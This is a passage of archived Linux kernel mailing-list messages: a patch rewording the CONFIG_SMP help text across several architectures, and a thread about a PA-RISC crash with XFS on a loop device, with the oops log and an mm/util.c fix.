        linux-kernel@vger.kernel.org,
        Martin Schwidefsky <schwidefsky@de.ibm.com>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        linux-m32r@ml.linux-m32r.org, Thomas Gleixner <tglx@linutronix.de>,
        linux-par
To: Andrew Morton <akpm@linux-foundation.org>
Original-X-From: linux-mips-bounce@linux-mips.org Fri Jan 03 01:36:43 2014
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from marvin.linux-mips.org ([78.24.191.183] helo=git.linux-mips.org)
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-mips-bounce@linux-mips.org>)
	id 1Vyskl-0000Wx-78
	for sgi-linux-mips@gmane.org; Fri, 03 Jan 2014 01:36:43 +0100
Original-Received: from localhost.localdomain ([127.0.0.1]:34135 "EHLO
        eddie.linux-mips.org" rhost-flags-OK-OK-OK-FAIL)
        by eddie.linux-mips.org with ESMTP id S6825711AbaACAgkwf203 (ORCPT
        <rfc822;sgi-linux-mips@gmane.org>); Fri, 3 Jan 2014 01:36:40 +0100
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Fri, 03 Jan 2014 01:36:25 +0100 (CET)
Original-Received: from mail-we0-f175.google.com ([74.125.82.175]:58845 "EHLO
        mail-we0-f175.google.com" rhost-flags-OK-OK-OK-OK)
        by eddie.linux-mips.org with ESMTP id S6825710AbaACAgWdDVTh (ORCPT
        <rfc822;linux-mips@linux-mips.org>); Fri, 3 Jan 2014 01:36:22 +0100
Original-Received: by mail-we0-f175.google.com with SMTP id t60so12894068wes.20
        for <linux-mips@linux-mips.org>; Thu, 02 Jan 2014 16:36:17 -0800 (PST)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:date:from:to:cc:subject:message-id:references
         :mime-version:content-type:content-disposition:in-reply-to
         :user-agent;
        bh=P6z5gQEEj2uLxRyhHF6V8dDZZWO50zXPe5lSoVWw/tM=;
        b=ZlSENPgKu1LUfJ/W9vybAFbOXRTB4vvOgn+hcK6lgsmE88ejMwMd6n46xYdOKwrA1L
         kWQqVgtokzz7DygqbFc8+0Vd98ENTl4HyEVjhnPM6yAACWdV/K8n8nc56MSsQcD15gpP
         fDQr4Flo9gBfoDmOV8i9JER15/FdgNOoS7+kyUF4t1wsIl1tdgv9am9A2Dksuh7fqXky
         ZXy1diHhL6uJg+PvSZFwuem2xRpUbNrPc3hN3bK9+V6Ru7fCy01HiBLqtJDlXfGRfp8r
         Uk3dzYPd5gAbaZH4dIkjc+P8HVO2Ek1M7K8LgfA322db32dX+SvVqenk9Vj2fZD5S6Mk
         cIVw==
X-Gm-Message-State: ALoCoQlPOlDTXl3NM068pLcC32JMfihPRzfCkBjNylTSsElPwkMgTvkoKKe/4ckA58tbSaulxNkX
X-Received: by 10.180.76.103 with SMTP id j7mr34537960wiw.58.1388709376841;
        Thu, 02 Jan 2014 16:36:16 -0800 (PST)
Original-Received: from sylph (94.197.120.76.threembb.co.uk. [94.197.120.76])
        by mx.google.com with ESMTPSA id a9sm72754251wiy.10.2014.01.02.16.36.13
        for <multiple recipients>
        (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Thu, 02 Jan 2014 16:36:16 -0800 (PST)
Content-Disposition: inline
In-Reply-To: <20140102151547.fde4aa5855cc75e91fea95e5@linux-foundation.org>
User-Agent: Mutt/1.5.22 (2013-10-16)
X-archive-position: 38855
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: psquid@psquid.net
Precedence: bulk
List-help: <mailto:ecartis@linux-mips.org?Subject=help>
List-unsubscribe: <mailto:ecartis@linux-mips.org?subject=unsubscribe%20linux-mips>
List-software: Ecartis version 1.0.0
List-Id: linux-mips <linux-mips.eddie.linux-mips.org>
X-List-ID: linux-mips <linux-mips.eddie.linux-mips.org>
List-subscribe: <mailto:ecartis@linux-mips.org?subject=subscribe%20linux-mips>
List-owner: <mailto:ralf@linux-mips.org>
List-post: <mailto:linux-mips@linux-mips.org>
List-archive: <http://www.linux-mips.org/archives/linux-mips/>
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:39995 gmane.linux.ports.sh.devel:30751 gmane.linux.ports.alpha:2205 gmane.linux.kernel:1622348 gmane.linux.ports.parisc:5581 gmane.linux.ports.arm.kernel:291507
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.mips.general/39995>

As requested, I've modified "singleprocessor" to "uniprocessor" in my tree, and
the revised patch is included below (with the Signed-off-by at the right end
this time - thanks Andrew).

To re-summarize given the new revision, this patch now removes an outdated
reference to "most personal computers" having only one CPU, and changes the use
of "singleprocessor" and "single processor" in CONFIG_SMP's documentation to
"uniprocessor" across all arches where that documentation is present.

Signed-off-by: Robert Graffham <psquid@psquid.net>

diff -uprN -X linux-vanilla/Documentation/dontdiff linux-vanilla/arch/alpha/Kconfig linux/arch/alpha/Kconfig
--- linux-vanilla/arch/alpha/Kconfig	2013-12-22 18:03:11.881499508 +0000
+++ linux/arch/alpha/Kconfig	2014-01-03 00:20:04.660530554 +0000
@@ -539,13 +539,13 @@ config SMP
 	depends on ALPHA_SABLE || ALPHA_LYNX || ALPHA_RAWHIDE || ALPHA_DP264 || ALPHA_WILDFIRE || ALPHA_TITAN || ALPHA_GENERIC || ALPHA_SHARK || ALPHA_MARVEL
 	---help---
 	  This enables support for systems with more than one CPU. If you have
-	  a system with only one CPU, like most personal computers, say N. If
-	  you have a system with more than one CPU, say Y.
+	  a system with only one CPU, say N. If you have a system with more
+	  than one CPU, say Y.
 
-	  If you say N here, the kernel will run on single and multiprocessor
+	  If you say N here, the kernel will run on uni- and multiprocessor
 	  machines, but will use only one CPU of a multiprocessor machine. If
 	  you say Y here, the kernel will run on many, but not all,
-	  singleprocessor machines. On a singleprocessor machine, the kernel
+	  uniprocessor machines. On a uniprocessor machine, the kernel
 	  will run faster if you say N here.
 
 	  See also the SMP-HOWTO available at
diff -uprN -X linux-vanilla/Documentation/dontdiff linux-vanilla/arch/arc/Kconfig linux/arch/arc/Kconfig
--- linux-vanilla/arch/arc/Kconfig	2013-12-22 18:03:11.933499507 +0000
+++ linux/arch/arc/Kconfig	2013-12-22 17:58:24.412505922 +0000
@@ -128,8 +128,8 @@ config SMP
 	default n
 	help
 	  This enables support for systems with more than one CPU. If you have
-	  a system with only one CPU, like most personal computers, say N. If
-	  you have a system with more than one CPU, say Y.
+	  a system with only one CPU, say N. If you have a system with more
+	  than one CPU, say Y.
 
 if SMP
 
diff -uprN -X linux-vanilla/Documentation/dontdiff linux-vanilla/arch/arm/Kconfig linux/arch/arm/Kconfig
--- linux-vanilla/arch/arm/Kconfig	2013-12-22 18:03:11.956499506 +0000
+++ linux/arch/arm/Kconfig	2014-01-03 00:18:04.776533229 +0000
@@ -1435,14 +1435,14 @@ config SMP
 	depends on MMU || ARM_MPU
 	help
 	  This enables support for systems with more than one CPU. If you have
-	  a system with only one CPU, like most personal computers, say N. If
-	  you have a system with more than one CPU, say Y.
+	  a system with only one CPU, say N. If you have a system with more
+	  than one CPU, say Y.
 
-	  If you say N here, the kernel will run on single and multiprocessor
+	  If you say N here, the kernel will run on uni- and multiprocessor
 	  machines, but will use only one CPU of a multiprocessor machine. If
-	  you say Y here, the kernel will run on many, but not all, single
-	  processor machines. On a single processor machine, the kernel will
-	  run faster if you say N here.
+	  you say Y here, the kernel will run on many, but not all,
+	  uniprocessor machines. On a uniprocessor machine, the kernel
+	  will run faster if you say N here.
 
 	  See also <file:Documentation/x86/i386/IO-APIC.txt>,
 	  <file:Documentation/nmi_watchdog.txt> and the SMP-HOWTO available at
diff -uprN -X linux-vanilla/Documentation/dontdiff linux-vanilla/arch/m32r/Kconfig linux/arch/m32r/Kconfig
--- linux-vanilla/arch/m32r/Kconfig	2013-12-22 18:03:13.100499481 +0000
+++ linux/arch/m32r/Kconfig	2014-01-03 00:19:05.746531868 +0000
@@ -277,13 +277,13 @@ config SMP
 	bool "Symmetric multi-processing support"
 	---help---
 	  This enables support for systems with more than one CPU. If you have
-	  a system with only one CPU, like most personal computers, say N. If
-	  you have a system with more than one CPU, say Y.
+	  a system with only one CPU, say N. If you have a system with more
+	  than one CPU, say Y.
 
-	  If you say N here, the kernel will run on single and multiprocessor
+	  If you say N here, the kernel will run on uni- and multiprocessor
 	  machines, but will use only one CPU of a multiprocessor machine. If
 	  you say Y here, the kernel will run on many, but not all,
-	  singleprocessor machines. On a singleprocessor machine, the kernel
+	  uniprocessor machines. On a uniprocessor machine, the kernel
 	  will run faster if you say N here.
 
 	  People using multiprocessor machines who say Y here should also say
diff -uprN -X linux-vanilla/Documentation/dontdiff linux-vanilla/arch/mips/Kconfig linux/arch/mips/Kconfig
--- linux-vanilla/arch/mips/Kconfig	2013-12-22 18:03:13.290499477 +0000
+++ linux/arch/mips/Kconfig	2014-01-03 00:19:16.904531619 +0000
@@ -2128,13 +2128,13 @@ config SMP
 	depends on SYS_SUPPORTS_SMP
 	help
 	  This enables support for systems with more than one CPU. If you have
-	  a system with only one CPU, like most personal computers, say N. If
-	  you have a system with more than one CPU, say Y.
+	  a system with only one CPU, say N. If you have a system with more
+	  than one CPU, say Y.
 
-	  If you say N here, the kernel will run on single and multiprocessor
+	  If you say N here, the kernel will run on uni- and multiprocessor
 	  machines, but will use only one CPU of a multiprocessor machine. If
 	  you say Y here, the kernel will run on many, but not all,
-	  singleprocessor machines. On a singleprocessor machine, the kernel
+	  uniprocessor machines. On a uniprocessor machine, the kernel
 	  will run faster if you say N here.
 
 	  People using multiprocessor machines who say Y here should also say
diff -uprN -X linux-vanilla/Documentation/dontdiff linux-vanilla/arch/mn10300/Kconfig linux/arch/mn10300/Kconfig
--- linux-vanilla/arch/mn10300/Kconfig	2013-12-22 18:03:13.598499470 +0000
+++ linux/arch/mn10300/Kconfig	2014-01-03 00:19:02.061531951 +0000
@@ -184,13 +184,13 @@ config SMP
 	depends on MN10300_PROC_MN2WS0038 || MN10300_PROC_MN2WS0050
 	---help---
 	  This enables support for systems with more than one CPU. If you have
-	  a system with only one CPU, like most personal computers, say N. If
-	  you have a system with more than one CPU, say Y.
+	  a system with only one CPU, say N. If you have a system with more
+	  than one CPU, say Y.
 
-	  If you say N here, the kernel will run on single and multiprocessor
+	  If you say N here, the kernel will run on uni- and multiprocessor
 	  machines, but will use only one CPU of a multiprocessor machine. If
 	  you say Y here, the kernel will run on many, but not all,
-	  singleprocessor machines. On a singleprocessor machine, the kernel
+	  uniprocessor machines. On a uniprocessor machine, the kernel
 	  will run faster if you say N here.
 
 	  See also <file:Documentation/x86/i386/IO-APIC.txt>,
diff -uprN -X linux-vanilla/Documentation/dontdiff linux-vanilla/arch/parisc/Kconfig linux/arch/parisc/Kconfig
--- linux-vanilla/arch/parisc/Kconfig	2013-12-22 18:03:13.682499468 +0000
+++ linux/arch/parisc/Kconfig	2014-01-03 00:18:38.464532477 +0000
@@ -229,13 +229,13 @@ config SMP
 	bool "Symmetric multi-processing support"
 	---help---
 	  This enables support for systems with more than one CPU. If you have
-	  a system with only one CPU, like most personal computers, say N. If
-	  you have a system with more than one CPU, say Y.
+	  a system with only one CPU, say N. If you have a system with more
+	  than one CPU, say Y.
 
-	  If you say N here, the kernel will run on single and multiprocessor
+	  If you say N here, the kernel will run on uni- and multiprocessor
 	  machines, but will use only one CPU of a multiprocessor machine. If
 	  you say Y here, the kernel will run on many, but not all,
-	  singleprocessor machines. On a singleprocessor machine, the kernel
+	  uniprocessor machines. On a uniprocessor machine, the kernel
 	  will run faster if you say N here.
 
 	  See also <file:Documentation/nmi_watchdog.txt> and the SMP-HOWTO
diff -uprN -X linux-vanilla/Documentation/dontdiff linux-vanilla/arch/s390/Kconfig linux/arch/s390/Kconfig
--- linux-vanilla/arch/s390/Kconfig	2014-01-03 00:09:20.086544936 +0000
+++ linux/arch/s390/Kconfig	2014-01-03 00:19:59.831530662 +0000
@@ -334,10 +334,10 @@ config SMP
 	  a system with only one CPU, say N. If you have a system with more
 	  than one CPU, say Y.
 
-	  If you say N here, the kernel will run on single and multiprocessor
+	  If you say N here, the kernel will run on uni- and multiprocessor
 	  machines, but will use only one CPU of a multiprocessor machine. If
 	  you say Y here, the kernel will run on many, but not all,
-	  singleprocessor machines. On a singleprocessor machine, the kernel
+	  uniprocessor machines. On a uniprocessor machine, the kernel
 	  will run faster if you say N here.
 
 	  See also the SMP-HOWTO available at
diff -uprN -X linux-vanilla/Documentation/dontdiff linux-vanilla/arch/sh/Kconfig linux/arch/sh/Kconfig
--- linux-vanilla/arch/sh/Kconfig	2013-12-22 18:03:14.188499457 +0000
+++ linux/arch/sh/Kconfig	2014-01-03 00:18:58.090532039 +0000
@@ -714,13 +714,13 @@ config SMP
 	depends on SYS_SUPPORTS_SMP
 	---help---
 	  This enables support for systems with more than one CPU. If you have
-	  a system with only one CPU, like most personal computers, say N. If
-	  you have a system with more than one CPU, say Y.
+	  a system with only one CPU, say N. If you have a system with more
+	  than one CPU, say Y.
 
-	  If you say N here, the kernel will run on single and multiprocessor
+	  If you say N here, the kernel will run on uni- and multiprocessor
 	  machines, but will use only one CPU of a multiprocessor machine. If
 	  you say Y here, the kernel will run on many, but not all,
-	  singleprocessor machines. On a singleprocessor machine, the kernel
+	  uniprocessor machines. On a uniprocessor machine, the kernel
 	  will run faster if you say N here.
 
 	  People using multiprocessor machines who say Y here should also say
diff -uprN -X linux-vanilla/Documentation/dontdiff linux-vanilla/arch/sparc/Kconfig linux/arch/sparc/Kconfig
--- linux-vanilla/arch/sparc/Kconfig	2013-12-22 18:03:14.368499453 +0000
+++ linux/arch/sparc/Kconfig	2014-01-03 00:19:50.073530879 +0000
@@ -152,10 +152,10 @@ config SMP
 	  a system with only one CPU, say N. If you have a system with more
 	  than one CPU, say Y.
 
-	  If you say N here, the kernel will run on single and multiprocessor
+	  If you say N here, the kernel will run on uni- and multiprocessor
 	  machines, but will use only one CPU of a multiprocessor machine. If
 	  you say Y here, the kernel will run on many, but not all,
-	  singleprocessor machines. On a singleprocessor machine, the kernel
+	  uniprocessor machines. On a uniprocessor machine, the kernel
 	  will run faster if you say N here.
 
 	  People using multiprocessor machines who say Y here should also say
diff -uprN -X linux-vanilla/Documentation/dontdiff linux-vanilla/arch/x86/Kconfig linux/arch/x86/Kconfig
--- linux-vanilla/arch/x86/Kconfig	2013-12-22 18:03:14.584499448 +0000
+++ linux/arch/x86/Kconfig	2014-01-03 00:20:02.957530592 +0000
@@ -278,13 +278,13 @@ config SMP
 	bool "Symmetric multi-processing support"
 	---help---
 	  This enables support for systems with more than one CPU. If you have
-	  a system with only one CPU, like most personal computers, say N. If
-	  you have a system with more than one CPU, say Y.
+	  a system with only one CPU, say N. If you have a system with more
+	  than one CPU, say Y.
 
-	  If you say N here, the kernel will run on single and multiprocessor
+	  If you say N here, the kernel will run on uni- and multiprocessor
 	  machines, but will use only one CPU of a multiprocessor machine. If
 	  you say Y here, the kernel will run on many, but not all,
-	  singleprocessor machines. On a singleprocessor machine, the kernel
+	  uniprocessor machines. On a uniprocessor machine, the kernel
 	  will run faster if you say N here.
 
 	  Note that if you say Y here and choose architecture "586" or



From - Thu Nov 08 21:10:02 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mikulas Patocka <mpatocka@redhat.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [PATCH] fix crash when using XFS on loopback
Date: Sat, 4 Jan 2014 12:45:45 -0500 (EST)
Lines: 105
Approved: news@gmane.org
Message-ID: <alpine.LRH.2.02.1401041241590.4648@file01.intranet.prod.int.rdu2.redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1388857560 19309 80.91.229.3 (4 Jan 2014 17:46:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 4 Jan 2014 17:46:00 +0000 (UTC)
Cc: Christoph Lameter <cl@linux.com>, Pekka Enberg <penberg@iki.fi>,
	linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org
To: Joonsoo Kim <iamjoonsoo.kim@lge.com>,
	Andi Kleen <ak@linux.intel.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Jan 04 18:46:06 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VzVIT-0004fM-Ni
	for glpp-linux-parisc@plane.gmane.org; Sat, 04 Jan 2014 18:46:06 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753552AbaADRqE (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 4 Jan 2014 12:46:04 -0500
Original-Received: from mx1.redhat.com ([209.132.183.28]:36385 "EHLO mx1.redhat.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751313AbaADRqD (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 4 Jan 2014 12:46:03 -0500
Original-Received: from int-mx01.intmail.prod.int.phx2.redhat.com (int-mx01.intmail.prod.int.phx2.redhat.com [10.5.11.11])
	by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s04Hjo3K002202
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK);
	Sat, 4 Jan 2014 12:45:50 -0500
Original-Received: from file01.intranet.prod.int.rdu2.redhat.com (file01.intranet.prod.int.rdu2.redhat.com [10.11.5.7])
	by int-mx01.intmail.prod.int.phx2.redhat.com (8.13.8/8.13.8) with ESMTP id s04HjnrK025241
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO);
	Sat, 4 Jan 2014 12:45:49 -0500
Original-Received: from file01.intranet.prod.int.rdu2.redhat.com (localhost [127.0.0.1])
	by file01.intranet.prod.int.rdu2.redhat.com (8.14.4/8.14.4) with ESMTP id s04HjmeF006189;
	Sat, 4 Jan 2014 12:45:48 -0500
Original-Received: from localhost (mpatocka@localhost)
	by file01.intranet.prod.int.rdu2.redhat.com (8.14.4/8.14.4/Submit) with ESMTP id s04Hjjv3006185;
	Sat, 4 Jan 2014 12:45:46 -0500
X-Authentication-Warning: file01.intranet.prod.int.rdu2.redhat.com: mpatocka owned process doing -bs
X-X-Sender: mpatocka@file01.intranet.prod.int.rdu2.redhat.com
User-Agent: Alpine 2.02 (LRH 1266 2009-07-14)
X-Scanned-By: MIMEDefang 2.67 on 10.5.11.11
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5582 gmane.linux.kernel:1622883
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5582>

The patch 8456a648cf44f14365f1f44de90a3da2526a4776 causes crash in the
LVM2 testsuite on PA-RISC (the crashing test is fsadm.sh). The testsuite
doesn't crash on 3.12, crashes on 3.13-rc1 and later.

 Bad Address (null pointer deref?): Code=15 regs=000000413edd89a0 (Addr=000006202224647d)
 CPU: 3 PID: 24008 Comm: loop0 Not tainted 3.13.0-rc6 #5
 task: 00000001bf3c0048 ti: 000000413edd8000 task.ti: 000000413edd8000

      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
 PSW: 00001000000001101111100100001110 Not tainted
 r00-03  000000ff0806f90e 00000000405c8de0 000000004013e6c0 000000413edd83f0
 r04-07  00000000405a95e0 0000000000000200 00000001414735f0 00000001bf349e40
 r08-11  0000000010fe3d10 0000000000000001 00000040829c7778 000000413efd9000
 r12-15  0000000000000000 000000004060d800 0000000010fe3000 0000000010fe3000
 r16-19  000000413edd82a0 00000041078ddbc0 0000000000000010 0000000000000001
 r20-23  0008f3d0d83a8000 0000000000000000 00000040829c7778 0000000000000080
 r24-27  00000001bf349e40 00000001bf349e40 202d66202224640d 00000000405a95e0
 r28-31  202d662022246465 000000413edd88f0 000000413edd89a0 0000000000000001
 sr00-03  000000000532c000 0000000000000000 0000000000000000 000000000532c000
 sr04-07  0000000000000000 0000000000000000 0000000000000000 0000000000000000

 IASQ: 0000000000000000 0000000000000000 IAOQ: 00000000401fe42c 00000000401fe430
  IIR: 539c0030    ISR: 00000000202d6000  IOR: 000006202224647d
  CPU:        3   CR30: 000000413edd8000 CR31: 0000000000000000
  ORIG_R28: 00000000405a95e0
  IAOQ[0]: vma_interval_tree_iter_first+0x14/0x48
  IAOQ[1]: vma_interval_tree_iter_first+0x18/0x48
  RP(r2): flush_dcache_page+0x128/0x388
 Backtrace:
  [<000000004013e6c0>] flush_dcache_page+0x128/0x388
  [<0000000010fe6ca0>] lo_splice_actor+0x90/0x148 [loop]
  [<00000000402579b0>] splice_from_pipe_feed+0xc0/0x1d0
  [<00000000402580a4>] __splice_from_pipe+0xac/0xc0
  [<0000000010fe6bbc>] lo_direct_splice_actor+0x1c/0x70 [loop]
  [<000000004025854c>] splice_direct_to_actor+0xec/0x228
  [<0000000010fe63ac>] lo_receive+0xe4/0x298 [loop]
  [<0000000010fe69d8>] loop_thread+0x478/0x640 [loop]
  [<000000004018975c>] kthread+0x134/0x168
  [<000000004012c020>] end_fault_vector+0x20/0x28
  [<00000000115e0098>] xfs_setsize_buftarg+0x0/0x90 [xfs]

 Kernel panic - not syncing: Bad Address (null pointer deref?)

The patch 8456a648cf44f14365f1f44de90a3da2526a4776 changes the page
structure so that the slab subsystem reuses the page->mapping field.

The crash happens in the following way:
* XFS allocates some memory from slab and issues a bio to read data into
  it.
* the bio is sent to the loopback device.
* lo_receive creates an actor and calls splice_direct_to_actor.
* lo_splice_actor copies data to the target page.
* lo_splice_actor calls flush_dcache_page because the page may be mapped
  by userspace. In that case we need to flush the kernel cache.
* flush_dcache_page asks for the list of userspace mappings, however that
  page->mapping field is reused by the slab subsystem for a different
  purpose. This causes the crash.

Note that other architectures without coherent caches (sparc, arm, mips)
also call page_mapping from flush_dcache_page, so they may crash in the
same way.

This patch fixes this bug by testing if the page is a slab page in
page_mapping and returning NULL if it is.


The patch also fixes VM_BUG_ON(PageSlab(page)) that could happen in
earlier kernels in the same scenario on architectures without cache
coherence when CONFIG_DEBUG_VM is enabled - so it should be backported to
stable kernels.


In the old kernels, the function page_mapping is placed in
include/linux/mm.h, so you should modify the patch accordingly when
backporting it.


Signed-off-by: Mikulas Patocka <mpatocka@redhat.com>
Cc: stable@vger.kernel.org

---
 mm/util.c |    5 ++++-
 1 file changed, 4 insertions(+), 1 deletion(-)

Index: linux-3.13-rc6/mm/util.c
===================================================================
--- linux-3.13-rc6.orig/mm/util.c	2014-01-04 00:06:07.000000000 +0100
+++ linux-3.13-rc6/mm/util.c	2014-01-04 00:24:42.000000000 +0100
@@ -390,7 +390,10 @@ struct address_space *page_mapping(struc
 {
 	struct address_space *mapping = page->mapping;
 
-	VM_BUG_ON(PageSlab(page));
+	/* This happens if someone calls flush_dcache_page on slab page */
+	if (unlikely(PageSlab(page)))
+		return NULL;
+
 	if (unlikely(PageSwapCache(page))) {
 		swp_entry_t entry;
 
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] fix crash when using XFS on loopback
Date: Sat, 4 Jan 2014 13:48:19 -0500
Lines: 24
Approved: news@gmane.org
Message-ID: <BLU0-SMTP390C5C965F9A4FB18F1EBE97B50@phx.gbl>
References: <alpine.LRH.2.02.1401041241590.4648@file01.intranet.prod.int.rdu2.redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: text/plain; charset="US-ASCII"; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1388861323 26042 80.91.229.3 (4 Jan 2014 18:48:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 4 Jan 2014 18:48:43 +0000 (UTC)
Cc: Joonsoo Kim <iamjoonsoo.kim@lge.com>,
	Andi Kleen <ak@linux.intel.com>,
	Christoph Lameter <cl@linux.com>,
	Pekka Enberg <penberg@iki.fi>, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org
To: Mikulas Patocka <mpatocka@redhat.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Jan 04 19:48:48 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VzWH5-0001XM-4E
	for glpp-linux-parisc@plane.gmane.org; Sat, 04 Jan 2014 19:48:43 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753656AbaADSsi (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 4 Jan 2014 13:48:38 -0500
Original-Received: from blu0-omc1-s14.blu0.hotmail.com ([65.55.116.25]:35755 "EHLO
	blu0-omc1-s14.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752404AbaADSsh (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 4 Jan 2014 13:48:37 -0500
Original-Received: from BLU0-SMTP39 ([65.55.116.8]) by blu0-omc1-s14.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Sat, 4 Jan 2014 10:48:36 -0800
X-TMN: [BHOs/NStrqFxQhdATYolOw6YYfW5kxu1]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([69.158.171.205]) by BLU0-SMTP39.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Sat, 4 Jan 2014 10:48:35 -0800
In-Reply-To: <alpine.LRH.2.02.1401041241590.4648@file01.intranet.prod.int.rdu2.redhat.com>
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 04 Jan 2014 18:48:35.0790 (UTC) FILETIME=[92F18EE0:01CF097D]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5583 gmane.linux.kernel:1622896
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5583>

On 4-Jan-14, at 12:45 PM, Mikulas Patocka wrote:

> * flush_dcache_page asks for the list of userspace mappings, however  
> that
>  page->mapping field is reused by the slab subsystem for a different
>  purpose. This causes the crash.

I'd noticed the other day that the parisc implementation of  
flush_dcache_page()
should return if "!mapping || mapping != page->mapping" is true.  This  
would
have avoided crash.

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mikulas Patocka <mpatocka@redhat.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] fix crash when using XFS on loopback
Date: Sat, 4 Jan 2014 14:55:55 -0500 (EST)
Lines: 31
Approved: news@gmane.org
Message-ID: <alpine.LRH.2.02.1401041451350.21108@file01.intranet.prod.int.rdu2.redhat.com>
References: <alpine.LRH.2.02.1401041241590.4648@file01.intranet.prod.int.rdu2.redhat.com> <BLU0-SMTP390C5C965F9A4FB18F1EBE97B50@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1388865386 1429 80.91.229.3 (4 Jan 2014 19:56:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 4 Jan 2014 19:56:26 +0000 (UTC)
Cc: Joonsoo Kim <iamjoonsoo.kim@lge.com>,
	Andi Kleen <ak@linux.intel.com>,
	Christoph Lameter <cl@linux.com>,
	Pekka Enberg <penberg@iki.fi>, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Jan 04 20:56:32 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VzXKf-0000BG-6l
	for glpp-linux-parisc@plane.gmane.org; Sat, 04 Jan 2014 20:56:29 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754493AbaADT42 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
